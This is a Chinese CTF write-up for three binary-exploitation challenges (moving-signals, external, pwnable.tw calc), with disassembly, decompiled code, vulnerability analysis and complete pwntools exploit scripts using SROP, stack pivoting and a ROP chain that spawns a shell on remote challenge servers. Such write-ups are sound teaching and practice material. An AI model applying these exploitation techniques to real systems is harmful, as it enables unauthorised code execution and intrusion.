Challenges |
Tricks |
0x41414141 CTF-moving-signals |
SROP |
0x41414141 CTF-external |
stack pivoting |
pwnable.tw-calc |
逻辑漏洞 +ROP |
1
2
3
4
5
6
7
8
9
|
mov rdi, 0 ; Alternative name is '_start' ; __start
mov rsi, rsp
sub rsi, 8
mov rdx, 1F4h
syscall ; LINUX - sys_read
retn
endp
pop rax
retn
|
见过最短的程序了….简单分析发现只能控制rax
,即sycall
调用的函数。为了能控制更多的寄存器,想到使用SROP
。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
|
from pwn import *
from LibcSearcher import LibcSearcher
context.log_level="DEBUG"
context.arch="amd64"
local=0
binary='./moving-signals'
#gdb.attach(p)
if local:
p=process(binary)
else:
p=remote('161.97.176.150',2525)
elf = ELF(binary,checksec=False)
start=0x041000
pop_rax=0x041018
syscall=0x041015
bss=0x041500
shellcode=asm(shellcraft.sh())
#gdb.attach(p)
frame = SigreturnFrame()
frame.rsp=bss
frame.rip=syscall
frame.rax=constants.SYS_read
frame.rdi=0
frame.rsi=bss
frame.rdx=0x50
payload='a'*8+p64(pop_rax)+p64(0xf)+p64(syscall)+str(frame)
p.send(payload)
payload=p64(bss+8)+shellcode
p.sendline(payload)
p.interactive()
|
1
2
3
4
5
6
7
8
9
10
|
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[80]; // [rsp+0h] [rbp-50h] BYREF
puts("ROP me ;)");
printf("> ");
read(0, buf, 0xF0uLL);
clear_got();
return 0;
}
|
主函数把got表给清除了,着实吓到我了。不过有个系统调用。
1
2
3
4
|
.text:000000000040127C write_syscall proc near ; CODE XREF: timeout+22↑p
.text:000000000040127C ; __unwind {
.text:000000000040127C mov rax, 1
.text:0000000000401283 syscall
|
主函数的汇编代码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
|
.text:0000000000401224 ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:0000000000401224 public main
.text:0000000000401224 main proc near ; DATA XREF: _start+21↑o
.text:0000000000401224
.text:0000000000401224 buf = byte ptr -50h
.text:0000000000401224
.text:0000000000401224 ; __unwind {
.text:0000000000401224 push rbp
.text:0000000000401225 mov rbp, rsp
.text:0000000000401228 sub rsp, 50h
.text:000000000040122C lea rdi, s ; "ROP me ;)"
.text:0000000000401233 call _puts
.text:0000000000401238 lea rdi, format ; "> "
.text:000000000040123F mov eax, 0
.text:0000000000401244 call _printf
.text:0000000000401249 lea rax, [rbp+buf]
.text:000000000040124D mov edx, 0F0h ; nbytes
.text:0000000000401252 mov rsi, rax ; buf
.text:0000000000401255 mov edi, 0 ; fd
.text:000000000040125A call _read
.text:000000000040125F mov eax, 0
.text:0000000000401264 call clear_got
.text:0000000000401269 mov eax, 0
.text:000000000040126E leave
.text:000000000040126F retn
.text:000000000040126F ; } // starts at 401224
.text:000000000040126F main endp
|
虽然没有了got表,但是我们可以通过bss段的stdin
进行leak。要做的操作有:
- 控制write参数将
stdin
地址leak
- 控制read参数读取
one_gadget
地址并将其写入到已知地址
- 控制程序执行流,到
one_gadget
通过write进行leak后,如果想要再次控制rax那么就会进行leave ret
,进行了栈迁移。这是我们无法控制的,并且我们没有在fake stack
中布置栈结构。所以我们先进行read,提前布置好栈的结构。然后调用write进行leak。之后因为还要接受one_gadget
的地址,并将其写入可控地址,同时我们要进行栈的迁移。所以回到0x40125f
的位置正好帮助我们完成了这个操作。
那么布置的栈结构是什么样的呢?当程序执行到fake stack
中时,已经完成了,leak与栈迁移,rax也被置为0,这时我们只要调用read,并将one_gadget
写到read返回之后即可。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
|
from pwn import *
from LibcSearcher import LibcSearcher
context.log_level="DEBUG"
context.arch="amd64"
local=0
binary='./external'
#gdb.attach(p)
if local:
p=process(binary)
else:
p=remote('161.97.176.150',9999)
elf = ELF(binary,checksec=False)
offset = 0x50
write_call=0x040127C
pop_rdi=0x4012f3
pop_rsi=0x4012f1
stdin=0x0404070
fake_stack=0x404078+0x100
syscall=0x401283
leave_ret=0x04011d8
mov_eax=0x00401269
p.recv()
payload='a'*offset+p64(fake_stack)
payload+=p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(fake_stack)+p64(0)+p64(syscall)#read(0,fake_stack,0x38)
payload+=p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(stdin)+p64(0)+p64(write_call)+p64(mov_eax)#write(1,stdin,0x38)
p.send(payload)
payload='a'*8+p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(fake_stack+56)+p64(0)+p64(syscall)#read(0,fake_stack+56,0x38)
p.send(payload)
sleep(1)
stdin_addr= u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
print hex(stdin_addr)
libc=ELF('./libc-2.28.so')
libcbase=stdin_addr-libc.sym["_IO_2_1_stdin_"]
one=libcbase+0x448a3 #0x448a3 0xe5456
p.send(p64(one))
p.interactive()
|
1
2
3
4
5
6
|
[*] '/home/niebelungen/Desktop/pwnable.tw/calc/calc'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
|
main:
1
2
3
4
5
6
7
8
9
|
int __cdecl main(int argc, const char **argv, const char **envp)
{
ssignal(14, timeout);
alarm(60);
puts("=== Welcome to SECPROG calculator ===");
fflush(stdout);
calc();
return puts("Merry Christmas!");
}
|
calc:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
unsigned int calc()
{
int v1[101]; // [esp+18h] [ebp-5A0h] BYREF
char s[1024]; // [esp+1ACh] [ebp-40Ch] BYREF
unsigned int v3; // [esp+5ACh] [ebp-Ch]
v3 = __readgsdword(0x14u);
while ( 1 )
{
bzero(s, 0x400u);
if ( !get_expr(s, 1024) )
break;
init_pool(v1);
if ( parse_expr((int)s, v1) )
{
printf("%d\n", v1[v1[0]]);
fflush(stdout);
}
}
return __readgsdword(0x14u) ^ v3;
}
|
get_expr:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
int __cdecl get_expr(int a1, int a2)
{
int v2; // eax
char v4; // [esp+1Bh] [ebp-Dh] BYREF
int v5; // [esp+1Ch] [ebp-Ch]
v5 = 0;
while ( v5 < a2 && read(0, &v4, 1) != -1 && v4 != 10 )
{
if ( v4 == 43 || v4 == 45 || v4 == 42 || v4 == 47 || v4 == 37 || v4 > 47 && v4 <= 57 )
{
v2 = v5++;
*(_BYTE *)(a1 + v2) = v4;
}
}
*(_BYTE *)(v5 + a1) = 0;
return v5;
}
|
parse_expr:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
|
int __cdecl parse_expr(int a1, _DWORD *num)
{
int v3; // eax
int v4; // [esp+20h] [ebp-88h]
int i; // [esp+24h] [ebp-84h]
int v6; // [esp+28h] [ebp-80h]
int v7; // [esp+2Ch] [ebp-7Ch]
char *s1; // [esp+30h] [ebp-78h]
int left_num; // [esp+34h] [ebp-74h]
char s[100]; // [esp+38h] [ebp-70h] BYREF
unsigned int v11; // [esp+9Ch] [ebp-Ch]
v11 = __readgsdword(0x14u);
v4 = a1;
v6 = 0;
bzero(s, 0x64u);
for ( i = 0; ; ++i )
{
if ( (unsigned int)(*(char *)(i + a1) - 48) > 9 )
{
v7 = i + a1 - v4;
s1 = (char *)malloc(v7 + 1);
memcpy(s1, v4, v7);
s1[v7] = 0;
if ( !strcmp(s1, "0") )
{
puts("prevent division by zero");
fflush(stdout);
return 0;
}
left_num = atoi(s1);
if ( left_num > 0 )
{
v3 = (*num)++;
num[v3 + 1] = left_num;
}
if ( *(_BYTE *)(i + a1) && (unsigned int)(*(char *)(i + 1 + a1) - 48) > 9 )
{
puts("expression error!");
fflush(stdout);
return 0;
}
v4 = i + 1 + a1;
if ( s[v6] ) // 判断当前操作符是否为第一个操作符
// 是则继续遍历寻找下一个操作符
// 否则对前面的式子进行计算
{
switch ( *(_BYTE *)(i + a1) )
{
case '%':
case '*':
case '/':
if ( s[v6] != 43 && s[v6] != 45 )
goto LABEL_14;
s[++v6] = *(_BYTE *)(i + a1);
break;
case '+':
case '-':
LABEL_14:
eval(num, s[v6]);
s[v6] = *(_BYTE *)(i + a1);
break;
default:
eval(num, s[v6--]);
break;
}
}
else
{
s[v6] = *(_BYTE *)(i + a1);
}
if ( !*(_BYTE *)(i + a1) )
break;
}
}
while ( v6 >= 0 )
eval(num, s[v6--]);
return 1;
}
|
eval:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
|
_DWORD *__cdecl eval(_DWORD *a1, char a2)
{
_DWORD *result; // eax
if ( a2 == '+' )
{
a1[*a1 - 1] += a1[*a1];
}
else if ( a2 > '+' )
{
if ( a2 == '-' )
{
a1[*a1 - 1] -= a1[*a1];
}
else if ( a2 == '/' )
{
a1[*a1 - 1] /= (int)a1[*a1];
}
}
else if ( a2 == '*' )
{
a1[*a1 - 1] *= a1[*a1];
}
result = a1;
--*a1;
return result;
}
|
get_expr
用来获取输入的表达式,parse_expr
用来进行处理式子。计算器大致的思路就是num数组只接受操作数,如果接收的操作符不是第一个操作符就进行计算。那么就有这样一个漏洞:
1
2
3
4
5
6
7
8
|
输入:+300 这时有一个操作数 *a1=1 *a2='+' num[1]=300
num[1-1]+=num[1] ===> num[0]=301
最后--*a1 ===> num[0]=300
那么v1[v1[0]] ===> v1[300]
若输入:+300-100
+300的计算同上
num[0]-=num[1] ===> num[300]=num[300]-100
实现了任意地址读写的,调试发现361处对应了返回地址
|
那么我们这样构造栈结构:
1
2
3
4
5
6
7
8
9
10
|
361===> |pop_eax_addr |
362 |0xb |
363 |pop_edx_addr |
364 |0 |
365 |pop_ecx_ebx |
366 |0 |
367 |&('/bin/sh') |
368 |int_0x80_addr |
369 |'/bin' |
370 |'/sh\x00' |
|
计算栈的地址:
1
2
3
|
.text:08049453 mov ebp, esp
.text:08049455 and esp, 0FFFFFFF0h
.text:08049458 sub esp, 10h
|
main函数中,可知:main_stack_size=ebp&0xFFFFFFF0-0x10
则返回地址到ebp为main函数栈,长度为:index=main_stack_size/4+1
那么字符串的地址为:bin_sh=ebp-(index-8)*4,注意栈的增长方向。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
|
from pwn import *
from LibcSearcher import LibcSearcher
leak = lambda name,addr: log.success('{:#x}'.format(name,addr))
#context.log_level="DEBUG"
#context.arch="amd64"
local=0
binary='./calc'
#gdb.attach(p)
if local:
p=process(binary)
else:
p=remote('chall.pwnable.tw',10100)
elf = ELF(binary,checksec=False)
ret_addr=0x08049499
pop_eax =0x0805c34b #361 362:11
pop_edx =0x080701aa #363 364:0
pop_ecx =0x080701d1 #365 366:0 367:&(/bin/sh)
int_0x80=0x08049a21 #368 369:'/bin/sh'
gadget=[0x0805c34b,11,0x080701aa,0,0x080701d1,0,0xffffffff,0x08049a21,0x6e69622f,0x0068732f]
p.recv()
for i in range(0,6):
p.sendline('+'+str(361+i))
val=int(p.recv())
offset=int(gadget[i])-val
if offset>0:
p.sendline('+'+str(361+i)+'+'+str(offset))
else:
p.sendline('+'+str(361+i)+str(offset))
result=int(p.recv())
log.success(str(361+i)+'==>'+hex(result))
p.sendline('+360')
stackbase=int(p.recv())
stacksize=stackbase+0x100000000-((stackbase+0x100000000) & 0xFFFFFFF0-16)
bin_sh=stackbase+(8-(24/4+1))*4
p.sendline('+367')
val_367=int(p.recv())
offset=bin_sh-val_367
if offset>0:
p.sendline('+'+str(367)+'+'+str(offset))
else:
p.sendline('+'+str(367)+str(offset))
result=int(p.recv())
log.success(str(367)+'==>'+hex(result))
for i in range(7,10):
p.sendline('+'+str(361+i))
val=int(p.recv())
offset=int(gadget[i])-val
if offset>0:
p.sendline('+'+str(361+i)+'+'+str(offset))
else:
p.sendline('+'+str(361+i)+str(offset))
result=int(p.recv())
log.success(str(361+i)+'==>'+hex(result))
#gdb.attach(p)
p.sendline('Niebelungen')
p.interactive()
|